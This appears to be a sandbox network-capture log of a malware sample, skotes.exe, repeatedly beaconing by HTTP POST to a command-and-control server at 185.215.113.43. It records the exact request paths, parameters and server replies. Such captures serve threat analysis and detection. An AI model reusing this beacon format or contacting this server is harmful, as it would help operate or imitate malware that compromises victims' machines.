Sep 30, 2024 09:51:43.635797977 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:51:44.364944935 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:51:44 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.5	49777	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:51:45.972477913 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:51:46.682579041 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:51:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
23	192.168.2.5	49780	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:51:48.317810059 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:51:49.028856039 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:51:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.5	49782	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:51:50.714406967 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:51:51.419173002 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:51:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
25	192.168.2.5	49783	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:51:53.050801992 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:51:53.757038116 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:51:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
26	192.168.2.5	49784	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:51:55.579454899 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:51:56.257175922 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:51:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.5	49785	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:51:57.973620892 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:51:58.708163023 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:51:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.5	49787	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:52:00.223026037 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:52:00.928169966 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:52:00 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.5	49788	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:52:02.550494909 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:52:03.251127005 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:52:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.5	49789	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:52:04.773070097 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:52:05.504901886 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:52:05 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.5	49790	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:52:07.129323959 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:52:07.837758064 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:52:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.5	49791	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:52:09.350327015 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:52:10.056313038 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:52:09 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.5	49795	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:52:11.692806959 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:52:12.598556042 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:52:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.5	50758	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:52:14.115645885 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:52:14.828464985 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:52:14 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.5	50759	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:52:16.458357096 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:52:17.152482033 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:52:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.5	50760	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:52:18.676212072 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:52:19.902884007 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:52:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Sep 30, 2024 09:52:19.902898073 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:52:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0
Sep 30, 2024 09:52:19.902923107 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:52:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.5	50761	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:52:21.522104025 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:52:22.236922979 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:52:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.5	50762	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:52:23.758567095 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:52:24.480505943 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:52:24 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.5	50763	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:52:26.132150888 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:52:26.881506920 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:52:26 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.5	50765	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:52:28.397178888 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:52:29.111469030 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:52:29 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.5	50766	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:52:30.740004063 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:52:31.454346895 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:52:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	50768	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:52:33.205317020 CEST	310	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 156 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 36 42 31 32 46 37 30 42 39 35 44 38 32 44 31 32 46 43 33 36 33 42 42 33 44 42 33 37 33 46 45 34 38 31 44 33 44 41 38 37 33 32 30 37 30 45 37 41 31 30 35 44 31 31 37 43 45 39 35 45 38 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A76B12F70B95D82D12FC363BB3DB373FE481D3DA8732070E7A105D117CE95E8
Sep 30, 2024 09:52:33.901300907 CEST	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:52:33 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.5	50769	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Sep 30, 2024 09:52:35.711848974 CEST	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Sep 30, 2024 09:52:36.430608034 CEST	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Mon, 30 Sep 2024 07:52:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.5	50770	185.215.113.43	80	7124	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

